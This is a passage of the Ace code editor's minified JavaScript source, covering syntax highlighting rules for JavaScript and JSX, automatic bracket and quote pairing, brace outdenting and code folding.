TextHighlightRules); DocCommentHighlightRules.getTagRule = function(start) { return { token : "comment.doc.tag.storage.type", regex : "\\b(?:TODO|FIXME|XXX|HACK)\\b" }; } DocCommentHighlightRules.getStartRule = function(start) { return { token : "comment.doc", // doc comment regex : "\\/\\*(?=\\*)", next : start }; }; DocCommentHighlightRules.getEndRule = function (start) { return { token : "comment.doc", // closing comment regex : "\\*\\/", next : start }; }; exports.DocCommentHighlightRules = DocCommentHighlightRules; }); ace.define("ace/mode/javascript_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/doc_comment_highlight_rules","ace/mode/text_highlight_rules"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var DocCommentHighlightRules = require("./doc_comment_highlight_rules").DocCommentHighlightRules; var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules; var identifierRe = "[a-zA-Z\\$_\u00a1-\uffff][a-zA-Z\\d\\$_\u00a1-\uffff]*"; var JavaScriptHighlightRules = function(options) { var keywordMapper = this.createKeywordMapper({ "variable.language": "Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|" + // Constructors "Namespace|QName|XML|XMLList|" + // E4X "ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|" + "Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|" + "Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|" + // Errors "SyntaxError|TypeError|URIError|" + "decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|" + // Non-constructor functions "isNaN|parseFloat|parseInt|" + "JSON|Math|" + // Other "this|arguments|prototype|window|document" , // Pseudo "keyword": "const|yield|import|get|set|async|await|" + "break|case|catch|continue|default|delete|do|else|finally|for|function|" + "if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|" + "__parent__|__count__|escape|unescape|with|__proto__|" + "class|enum|extends|super|export|implements|private|public|interface|package|protected|static", "storage.type": "const|let|var|function", "constant.language": "null|Infinity|NaN|undefined", "support.function": "alert", "constant.language.boolean": "true|false" }, "identifier"); var kwBeforeRe = "case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void"; var escapedRe = "\\\\(?:x[0-9a-fA-F]{2}|" + // hex "u[0-9a-fA-F]{4}|" + // unicode "u{[0-9a-fA-F]{1,6}}|" + // es6 unicode "[0-2][0-7]{0,2}|" + // oct "3[0-7][0-7]?|" + // oct "[4-7][0-7]?|" + //oct ".)"; this.$rules = { "no_regex" : [ DocCommentHighlightRules.getStartRule("doc-start"), comments("no_regex"), { token : "string", regex : "'(?=.)", next : "qstring" }, { token : "string", regex : '"(?=.)', next : "qqstring" }, { token : "constant.numeric", // hex regex : /0(?:[xX][0-9a-fA-F]+|[bB][01]+)\b/ }, { token : "constant.numeric", // float regex : /[+-]?\d[\d_]*(?:(?:\.\d*)?(?:[eE][+-]?\d+)?)?\b/ }, { token : [ "storage.type", "punctuation.operator", "support.function", "punctuation.operator", "entity.name.function", "text","keyword.operator" ], regex : "(" + identifierRe + ")(\\.)(prototype)(\\.)(" + identifierRe +")(\\s*)(=)", next: "function_arguments" }, { token : [ "storage.type", "punctuation.operator", "entity.name.function", "text", "keyword.operator", "text", "storage.type", "text", "paren.lparen" ], regex : "(" + identifierRe + ")(\\.)(" + identifierRe +")(\\s*)(=)(\\s*)(function)(\\s*)(\\()", next: "function_arguments" }, { token : [ "entity.name.function", "text", "keyword.operator", "text", "storage.type", "text", "paren.lparen" ], regex : "(" + identifierRe +")(\\s*)(=)(\\s*)(function)(\\s*)(\\()", next: "function_arguments" }, { token : [ "storage.type", "punctuation.operator", "entity.name.function", "text", "keyword.operator", "text", "storage.type", "text", "entity.name.function", "text", "paren.lparen" ], regex : "(" + identifierRe + ")(\\.)(" + identifierRe +")(\\s*)(=)(\\s*)(function)(\\s+)(\\w+)(\\s*)(\\()", next: "function_arguments" }, { token : [ "storage.type", "text", "entity.name.function", "text", "paren.lparen" ], regex : "(function)(\\s+)(" + identifierRe + ")(\\s*)(\\()", next: "function_arguments" }, { token : [ "entity.name.function", "text", "punctuation.operator", "text", "storage.type", "text", "paren.lparen" ], regex : "(" + identifierRe + ")(\\s*)(:)(\\s*)(function)(\\s*)(\\()", next: "function_arguments" }, { token : [ "text", "text", "storage.type", "text", "paren.lparen" ], regex : "(:)(\\s*)(function)(\\s*)(\\()", next: "function_arguments" }, { token : "keyword", regex : "(?:" + kwBeforeRe + ")\\b", next : "start" }, { token : ["support.constant"], regex : /that\b/ }, { token : ["storage.type", "punctuation.operator", "support.function.firebug"], regex : /(console)(\.)(warn|info|log|error|time|trace|timeEnd|assert)\b/ }, { token : keywordMapper, regex : identifierRe }, { token : "punctuation.operator", regex : /[.](?![.])/, next : "property" }, { token : "keyword.operator", regex : /--|\+\+|\.{3}|===|==|=|!=|!==|<+=?|>+=?|!|&&|\|\||\?\:|[!$%&*+\-~\/^]=?/, next : "start" }, { token : "punctuation.operator", regex : /[?:,;.]/, next : "start" }, { token : "paren.lparen", regex : /[\[({]/, next : "start" }, { token : "paren.rparen", regex : /[\])}]/ }, { token: "comment", regex: /^#!.*$/ } ], property: [{ token : "text", regex : "\\s+" }, { token : [ "storage.type", "punctuation.operator", "entity.name.function", "text", "keyword.operator", "text", "storage.type", "text", "entity.name.function", "text", "paren.lparen" ], regex : "(" + identifierRe + ")(\\.)(" + identifierRe +")(\\s*)(=)(\\s*)(function)(?:(\\s+)(\\w+))?(\\s*)(\\()", next: "function_arguments" }, { token : "punctuation.operator", regex : /[.](?![.])/ }, { token : "support.function", regex : /(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\b(?=\()/ }, { token : "support.function.dom", regex : /(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\b(?=\()/ }, { token : "support.constant", regex : /(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\b/ }, { token : "identifier", regex : identifierRe }, { regex: "", token: "empty", next: "no_regex" } ], "start": [ DocCommentHighlightRules.getStartRule("doc-start"), comments("start"), { token: "string.regexp", regex: "\\/", next: "regex" }, { token : "text", regex : "\\s+|^$", next : "start" }, { token: "empty", regex: "", next: "no_regex" } ], "regex": [ { token: "regexp.keyword.operator", regex: "\\\\(?:u[\\da-fA-F]{4}|x[\\da-fA-F]{2}|.)" }, { token: "string.regexp", regex: "/[sxngimy]*", next: "no_regex" }, { token : "invalid", regex: /\{\d+\b,?\d*\}[+*]|[+*$^?][+*]|[$^][?]|\?{3,}/ }, { token : "constant.language.escape", regex: /\(\?[:=!]|\)|\{\d+\b,?\d*\}|[+*]\?|[()$^+*?.]/ }, { token : "constant.language.delimiter", regex: /\|/ }, { token: "constant.language.escape", regex: /\[\^?/, next: "regex_character_class" }, { token: "empty", regex: "$", next: "no_regex" }, { defaultToken: "string.regexp" } ], "regex_character_class": [ { token: "regexp.charclass.keyword.operator", regex: "\\\\(?:u[\\da-fA-F]{4}|x[\\da-fA-F]{2}|.)" }, { token: "constant.language.escape", regex: "]", next: "regex" }, { token: "constant.language.escape", regex: "-" }, { token: "empty", regex: "$", next: "no_regex" }, { defaultToken: "string.regexp.charachterclass" } ], "function_arguments": [ { token: "variable.parameter", regex: identifierRe }, { token: "punctuation.operator", regex: "[, ]+" }, { token: "punctuation.operator", regex: "$" }, { token: "empty", regex: "", next: "no_regex" } ], "qqstring" : [ { token : "constant.language.escape", regex : escapedRe }, { token : "string", regex : "\\\\$", next : "qqstring" }, { token : "string", regex : '"|$', next : "no_regex" }, { defaultToken: "string" } ], "qstring" : [ { token : "constant.language.escape", regex : escapedRe }, { token : "string", regex : "\\\\$", next : "qstring" }, { token : "string", regex : "'|$", next : "no_regex" }, { defaultToken: "string" } ] }; if (!options || !options.noES6) { this.$rules.no_regex.unshift({ regex: "[{}]", onMatch: function(val, state, stack) { this.next = val == "{" ? this.nextState : ""; if (val == "{" && stack.length) { stack.unshift("start", state); } else if (val == "}" && stack.length) { stack.shift(); this.next = stack.shift(); if (this.next.indexOf("string") != -1 || this.next.indexOf("jsx") != -1) return "paren.quasi.end"; } return val == "{" ? "paren.lparen" : "paren.rparen"; }, nextState: "start" }, { token : "string.quasi.start", regex : /`/, push : [{ token : "constant.language.escape", regex : escapedRe }, { token : "paren.quasi.start", regex : /\${/, push : "start" }, { token : "string.quasi.end", regex : /`/, next : "pop" }, { defaultToken: "string.quasi" }] }); if (!options || !options.noJSX) JSX.call(this); } this.embedRules(DocCommentHighlightRules, "doc-", [ DocCommentHighlightRules.getEndRule("no_regex") ]); this.normalizeRules(); }; oop.inherits(JavaScriptHighlightRules, TextHighlightRules); function JSX() { var tagRegex = identifierRe.replace("\\d", "\\d\\-"); var jsxTag = { onMatch : function(val, state, stack) { var offset = val.charAt(1) == "/" ? 2 : 1; if (offset == 1) { if (state != this.nextState) stack.unshift(this.next, this.nextState, 0); else stack.unshift(this.next); stack[2]++; } else if (offset == 2) { if (state == this.nextState) { stack[1]--; if (!stack[1] || stack[1] < 0) { stack.shift(); stack.shift(); } } } return [{ type: "meta.tag.punctuation." + (offset == 1 ? "" : "end-") + "tag-open.xml", value: val.slice(0, offset) }, { type: "meta.tag.tag-name.xml", value: val.substr(offset) }]; }, regex : "", onMatch : function(value, currentState, stack) { if (currentState == stack[0]) stack.shift(); if (value.length == 2) { if (stack[0] == this.nextState) stack[1]--; if (!stack[1] || stack[1] < 0) { stack.splice(0, 2); } } this.next = stack[0] || "start"; return [{type: this.token, value: value}]; }, nextState: "jsx" }, jsxJsRule, comments("jsxAttributes"), { token : "entity.other.attribute-name.xml", regex : tagRegex }, { token : "keyword.operator.attribute-equals.xml", regex : "=" }, { token : "text.tag-whitespace.xml", regex : "\\s+" }, { token : "string.attribute-value.xml", regex : "'", stateName : "jsx_attr_q", push : [ {token : "string.attribute-value.xml", regex: "'", next: "pop"}, {include : "reference"}, {defaultToken : "string.attribute-value.xml"} ] }, { token : "string.attribute-value.xml", regex : '"', stateName : "jsx_attr_qq", push : [ {token : "string.attribute-value.xml", regex: '"', next: "pop"}, {include : "reference"}, {defaultToken : "string.attribute-value.xml"} ] }, jsxTag ]; this.$rules.reference = [{ token : "constant.language.escape.reference.xml", regex : "(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\.-]+;)" }]; } function comments(next) { return [ { token : "comment", // multi line comment regex : /\/\*/, next: [ DocCommentHighlightRules.getTagRule(), {token : "comment", regex : "\\*\\/", next : next || "pop"}, {defaultToken : "comment", caseInsensitive: true} ] }, { token : "comment", regex : "\\/\\/", next: [ DocCommentHighlightRules.getTagRule(), {token : "comment", regex : "$|^", next : next || "pop"}, {defaultToken : "comment", caseInsensitive: true} ] } ]; } exports.JavaScriptHighlightRules = JavaScriptHighlightRules; }); ace.define("ace/mode/matching_brace_outdent",["require","exports","module","ace/range"], function(require, exports, module) { "use strict"; var Range = require("../range").Range; var MatchingBraceOutdent = function() {}; (function() { this.checkOutdent = function(line, input) { if (! /^\s+$/.test(line)) return false; return /^\s*\}/.test(input); }; this.autoOutdent = function(doc, row) { var line = doc.getLine(row); var match = line.match(/^(\s*\})/); if (!match) return 0; var column = match[1].length; var openBracePos = doc.findMatchingBracket({row: row, column: column}); if (!openBracePos || openBracePos.row == row) return 0; var indent = this.$getIndent(doc.getLine(openBracePos.row)); doc.replace(new Range(row, 0, row, column-1), indent); }; this.$getIndent = function(line) { return line.match(/^\s*/)[0]; }; }).call(MatchingBraceOutdent.prototype); exports.MatchingBraceOutdent = MatchingBraceOutdent; }); ace.define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var Behaviour = require("../behaviour").Behaviour; var TokenIterator = require("../../token_iterator").TokenIterator; var lang = require("../../lib/lang"); var SAFE_INSERT_IN_TOKENS = ["text", "paren.rparen", "punctuation.operator"]; var SAFE_INSERT_BEFORE_TOKENS = ["text", "paren.rparen", "punctuation.operator", "comment"]; var context; var contextCache = {}; var initContext = function(editor) { var id = -1; if (editor.multiSelect) { id = editor.selection.index; if (contextCache.rangeCount != editor.multiSelect.rangeCount) contextCache = {rangeCount: editor.multiSelect.rangeCount}; } if (contextCache[id]) return context = contextCache[id]; context = contextCache[id] = { autoInsertedBrackets: 0, autoInsertedRow: -1, autoInsertedLineEnd: "", maybeInsertedBrackets: 0, maybeInsertedRow: -1, maybeInsertedLineStart: "", maybeInsertedLineEnd: "" }; }; var getWrapped = function(selection, selected, opening, closing) { var rowDiff = selection.end.row - selection.start.row; return { text: opening + selected + closing, selection: [ 0, selection.start.column + 1, rowDiff, selection.end.column + (rowDiff ? 0 : 1) ] }; }; var CstyleBehaviour = function() { this.add("braces", "insertion", function(state, action, editor, session, text) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); if (text == '{') { initContext(editor); var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && selected !== "{" && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, '{', '}'); } else if (CstyleBehaviour.isSaneInsertion(editor, session)) { if (/[\]\}\)]/.test(line[cursor.column]) || editor.inMultiSelectMode) { CstyleBehaviour.recordAutoInsert(editor, session, "}"); return { text: '{}', selection: [1, 1] }; } else { CstyleBehaviour.recordMaybeInsert(editor, session, "{"); return { text: '{', selection: [1, 1] }; } } } else if (text == '}') { initContext(editor); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar == '}') { var matching = session.$findOpeningBracket('}', {column: cursor.column + 1, row: cursor.row}); if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) { CstyleBehaviour.popAutoInsertedClosing(); return { text: '', selection: [1, 1] }; } } } else if (text == "\n" || text == "\r\n") { initContext(editor); var closing = ""; if (CstyleBehaviour.isMaybeInsertedClosing(cursor, line)) { closing = lang.stringRepeat("}", context.maybeInsertedBrackets); CstyleBehaviour.clearMaybeInsertedClosing(); } var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar === '}') { var openBracePos = session.findMatchingBracket({row: cursor.row, column: cursor.column+1}, '}'); if (!openBracePos) return null; var next_indent = this.$getIndent(session.getLine(openBracePos.row)); } else if (closing) { var next_indent = this.$getIndent(line); } else { CstyleBehaviour.clearMaybeInsertedClosing(); return; } var indent = next_indent + session.getTabString(); return { text: '\n' + indent + '\n' + next_indent + closing, selection: [1, indent.length, 1, indent.length] }; } else { CstyleBehaviour.clearMaybeInsertedClosing(); } }); this.add("braces", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && selected == '{') { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.end.column, range.end.column + 1); if (rightChar == '}') { range.end.column++; return range; } else { context.maybeInsertedBrackets--; } } }); this.add("parens", "insertion", function(state, action, editor, session, text) { if (text == '(') { initContext(editor); var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, '(', ')'); } else if (CstyleBehaviour.isSaneInsertion(editor, session)) { CstyleBehaviour.recordAutoInsert(editor, session, ")"); return { text: '()', selection: [1, 1] }; } } else if (text == ')') { initContext(editor); var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar == ')') { var matching = session.$findOpeningBracket(')', {column: cursor.column + 1, row: cursor.row}); if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) { CstyleBehaviour.popAutoInsertedClosing(); return { text: '', selection: [1, 1] }; } } } }); this.add("parens", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && selected == '(') { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.start.column + 1, range.start.column + 2); if (rightChar == ')') { range.end.column++; return range; } } }); this.add("brackets", "insertion", function(state, action, editor, session, text) { if (text == '[') { initContext(editor); var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, '[', ']'); } else if (CstyleBehaviour.isSaneInsertion(editor, session)) { CstyleBehaviour.recordAutoInsert(editor, session, "]"); return { text: '[]', selection: [1, 1] }; } } else if (text == ']') { initContext(editor); var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var rightChar = line.substring(cursor.column, cursor.column + 1); if (rightChar == ']') { var matching = session.$findOpeningBracket(']', {column: cursor.column + 1, row: cursor.row}); if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) { CstyleBehaviour.popAutoInsertedClosing(); return { text: '', selection: [1, 1] }; } } } }); this.add("brackets", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && selected == '[') { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.start.column + 1, range.start.column + 2); if (rightChar == ']') { range.end.column++; return range; } } }); this.add("string_dquotes", "insertion", function(state, action, editor, session, text) { if (text == '"' || text == "'") { initContext(editor); var quote = text; var selection = editor.getSelectionRange(); var selected = session.doc.getTextRange(selection); if (selected !== "" && selected !== "'" && selected != '"' && editor.getWrapBehavioursEnabled()) { return getWrapped(selection, selected, quote, quote); } else if (!selected) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); var leftChar = line.substring(cursor.column-1, cursor.column); var rightChar = line.substring(cursor.column, cursor.column + 1); var token = session.getTokenAt(cursor.row, cursor.column); var rightToken = session.getTokenAt(cursor.row, cursor.column + 1); if (leftChar == "\\" && token && /escape/.test(token.type)) return null; var stringBefore = token && /string|escape/.test(token.type); var stringAfter = !rightToken || /string|escape/.test(rightToken.type); var pair; if (rightChar == quote) { pair = stringBefore !== stringAfter; } else { if (stringBefore && !stringAfter) return null; // wrap string with different quote if (stringBefore && stringAfter) return null; // do not pair quotes inside strings var wordRe = session.$mode.tokenRe; wordRe.lastIndex = 0; var isWordBefore = wordRe.test(leftChar); wordRe.lastIndex = 0; var isWordAfter = wordRe.test(leftChar); if (isWordBefore || isWordAfter) return null; // before or after alphanumeric if (rightChar && !/[\s;,.})\]\\]/.test(rightChar)) return null; // there is rightChar and it isn't closing pair = true; } return { text: pair ? quote + quote : "", selection: [1,1] }; } } }); this.add("string_dquotes", "deletion", function(state, action, editor, session, range) { var selected = session.doc.getTextRange(range); if (!range.isMultiLine() && (selected == '"' || selected == "'")) { initContext(editor); var line = session.doc.getLine(range.start.row); var rightChar = line.substring(range.start.column + 1, range.start.column + 2); if (rightChar == selected) { range.end.column++; return range; } } }); }; CstyleBehaviour.isSaneInsertion = function(editor, session) { var cursor = editor.getCursorPosition(); var iterator = new TokenIterator(session, cursor.row, cursor.column); if (!this.$matchTokenType(iterator.getCurrentToken() || "text", SAFE_INSERT_IN_TOKENS)) { var iterator2 = new TokenIterator(session, cursor.row, cursor.column + 1); if (!this.$matchTokenType(iterator2.getCurrentToken() || "text", SAFE_INSERT_IN_TOKENS)) return false; } iterator.stepForward(); return iterator.getCurrentTokenRow() !== cursor.row || this.$matchTokenType(iterator.getCurrentToken() || "text", SAFE_INSERT_BEFORE_TOKENS); }; CstyleBehaviour.$matchTokenType = function(token, types) { return types.indexOf(token.type || token) > -1; }; CstyleBehaviour.recordAutoInsert = function(editor, session, bracket) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); if (!this.isAutoInsertedClosing(cursor, line, context.autoInsertedLineEnd[0])) context.autoInsertedBrackets = 0; context.autoInsertedRow = cursor.row; context.autoInsertedLineEnd = bracket + line.substr(cursor.column); context.autoInsertedBrackets++; }; CstyleBehaviour.recordMaybeInsert = function(editor, session, bracket) { var cursor = editor.getCursorPosition(); var line = session.doc.getLine(cursor.row); if (!this.isMaybeInsertedClosing(cursor, line)) context.maybeInsertedBrackets = 0; context.maybeInsertedRow = cursor.row; context.maybeInsertedLineStart = line.substr(0, cursor.column) + bracket; context.maybeInsertedLineEnd = line.substr(cursor.column); context.maybeInsertedBrackets++; }; CstyleBehaviour.isAutoInsertedClosing = function(cursor, line, bracket) { return context.autoInsertedBrackets > 0 && cursor.row === context.autoInsertedRow && bracket === context.autoInsertedLineEnd[0] && line.substr(cursor.column) === context.autoInsertedLineEnd; }; CstyleBehaviour.isMaybeInsertedClosing = function(cursor, line) { return context.maybeInsertedBrackets > 0 && cursor.row === context.maybeInsertedRow && line.substr(cursor.column) === context.maybeInsertedLineEnd && line.substr(0, cursor.column) == context.maybeInsertedLineStart; }; CstyleBehaviour.popAutoInsertedClosing = function() { context.autoInsertedLineEnd = context.autoInsertedLineEnd.substr(1); context.autoInsertedBrackets--; }; CstyleBehaviour.clearMaybeInsertedClosing = function() { if (context) { context.maybeInsertedBrackets = 0; context.maybeInsertedRow = -1; } }; oop.inherits(CstyleBehaviour, Behaviour); exports.CstyleBehaviour = CstyleBehaviour; }); ace.define("ace/mode/folding/cstyle",["require","exports","module","ace/lib/oop","ace/range","ace/mode/folding/fold_mode"], function(require, exports, module) { "use strict"; var oop = require("../../lib/oop"); var Range = require("../../range").Range; var BaseFoldMode = require("./fold_mode").FoldMode; var FoldMode = exports.FoldMode = function(commentRegex) { if (commentRegex) { this.foldingStartMarker = new RegExp( this.foldingStartMarker.source.replace(/\|[^|]*?$/, "|" + commentRegex.start) ); this.foldingStopMarker = new RegExp( this.foldingStopMarker.source.replace(/\|[^|]*?$/, "|" + commentRegex.end) ); } }; oop.inherits(FoldMode, BaseFoldMode); (function() { this.foldingStartMarker = /(\{|\[)[^\}\]]*$|^\s*(\/\*)/; this.foldingStopMarker = /^[^\[\{]*(\}|\])|^[\s\*]*(\*\/)/; this.singleLineBlockCommentRe= /^\s*(\/\*).*\*\/\s*$/; this.tripleStarBlockCommentRe = /^\s*(\/\*\*\*).*\*\/\s*$/; this.startRegionRe = /^\s*(\/\*|\/\/)#?region\b/; this._getFoldWidgetBase = this.getFoldWidget; this.getFoldWidget = function(session, foldStyle, row) { var line = session.getLine(row); if (this.singleLineBlockCommentRe.test(line)) { if (!this.startRegionRe.test(line) && !this.tripleStarBlockCommentRe.test(line)) return ""; } var fw = this._getFoldWidgetBase(session, foldStyle, row); if (!fw && this.startRegionRe.test(line)) return "start"; // lineCommentRegionStart return fw; }; this.getFoldWidgetRange = function(session, foldStyle, row, forceMultiline) { var line = session.getLine(row); if (this.startRegionRe.test(line)) return this.getCommentRegionBlock(session, line, row); var match = line.match(this.foldingStartMarker); if (match) { var i = match.index; if (match[1]) return this.openingBracketBlock(session, match[1], row, i); var range = session.getCommentFoldRange(row, i + match[0].length, 1); if (range && !range.isMultiLine()) { if (forceMultiline) { range = this.getSectionRange(session, row); } else if (foldStyle != "all") range = null; } return range; } if (foldStyle === "markbegin") return; var match = line.match(this.foldingStopMarker); if (match) { var i = match.index + match[0].length; if (match[1]) return this.closingBracketBlock(session, match[1], row, i); return session.getCommentFoldRange(row, i, -1); } }; this.getSectionRange = function(session, row) { var line = session.getLine(row); var startIndent = line.search(/\S/); var startRow = row; var startColumn = line.length; row = row + 1; var endRow = row; var maxRow = session.getLength(); while (++row < maxRow) { line = session.getLine(row); var indent = line.search(/\S/); if (indent === -1) continue; if (startIndent > indent) break; var subRange = this.getFoldWidgetRange(session, "all", row); if (subRange) { if (subRange.start.row <= startRow) { break; } else if (subRange.isMultiLine()) { row = subRange.end.row; } else if (startIndent == indent) { break; } } endRow = row; } return new Range(startRow, startColumn, endRow, session.getLine(endRow).length); }; this.getCommentRegionBlock = function(session, line, row) { var startColumn = line.search(/\s*$/); var maxRow = session.getLength(); var startRow = row; var re = /^\s*(?:\/\*|\/\/|--)#?(end)?region\b/; var depth = 1; while (++row < maxRow) { line = session.getLine(row); var m = re.exec(line); if (!m) continue; if (m[1]) depth--; else depth++; if (!depth) break; } var endRow = row; if (endRow > startRow) { return new Range(startRow, startColumn, endRow, line.length); } }; }).call(FoldMode.prototype); }); ace.define("ace/mode/javascript",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/javascript_highlight_rules","ace/mode/matching_brace_outdent","ace/range","ace/worker/worker_client","ace/mode/behaviour/cstyle","ace/mode/folding/cstyle"], function(require, exports, module) { "use strict"; var 